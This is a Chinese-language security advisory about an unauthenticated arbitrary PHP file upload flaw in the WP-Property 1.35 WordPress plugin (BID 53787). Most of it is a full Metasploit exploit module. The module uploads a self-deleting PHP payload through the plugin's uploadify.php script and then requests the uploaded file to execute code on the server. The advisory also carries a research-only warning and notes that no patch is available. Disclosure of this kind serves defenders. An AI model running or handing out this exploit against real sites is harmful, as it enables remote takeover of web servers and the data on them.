发布日期：2012-06-05
更新日期：2013-01-14

受影响系统：

WordPress WP-Property 1.35

描述：

---

BUGTRAQ  ID: 53787

WordPress WP-Property是财产和不动产管理插件。

WP-Property 1.35.0的 wp-content/plugins/wp-property/third-party/uploadify/uploadify.php脚本没有正确验证和过滤用户上传的文件，通过上传一个.php文件，远程系统会将此文件放置在用户可访问的路径中，直接请求此文件，可允许用户执行任意脚本。

<*来源：Sammy Forgit
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
            'Description'    => %q{
                    This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
                plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
                temp directory without authentication, which results in arbitrary code execution.
            },
            'Author'         =>
                [
                    'Sammy FORGIT',    # initial discovery
                    'James Fitts <fitts.james[at]gmail.com>' # metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'OSVDB', '82656' ],
                    [ 'BID', '53787' ],
                    [ 'EDB', '18987'],
                    [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
                ],
            'Payload'         =>
                {
                    'BadChars' => "\x00",
                },
            'Platform'       => 'php',
            'Arch'             => ARCH_PHP,
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
                    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Mar 26 2012'))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
            ], self.class)
    end

    def check
        uri =  target_uri.path
        uri << '/' if uri[-1,1] != '/'

        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
        })

        if not res or res.code != 200
            return Exploit::CheckCode::Unknown
        end

        return Exploit::CheckCode::Appears
    end

    def exploit
        uri =  target_uri.path
        uri << '/' if uri[-1,1] != '/'

        peer = "#{rhost}:#{rport}"

        @payload_name = "#{rand_text_alpha(5)}.php"
        php_payload = get_write_exec_payload(:unlink_self=>true)

        data = Rex::MIME::Message.new
        data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
        data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

        print_status("#{peer} - Uploading payload #{@payload_name}")
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
            'ctype'  => "multipart/form-data; boundary=#{data.bound}",
            'data'   => post_data
        })

        if not res or res.code != 200 or res.body !~ /#{@payload_name}/
            fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
        end

        upload_uri = res.body

        print_status("#{peer} - Executing payload #{@payload_name}")
        res = send_request_raw({
            'uri'    => upload_uri,
            'method' => 'GET'
        })
    end
end

建议：

---

厂商补丁：

WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://wordpress.org/extend/plugins/wp-property/

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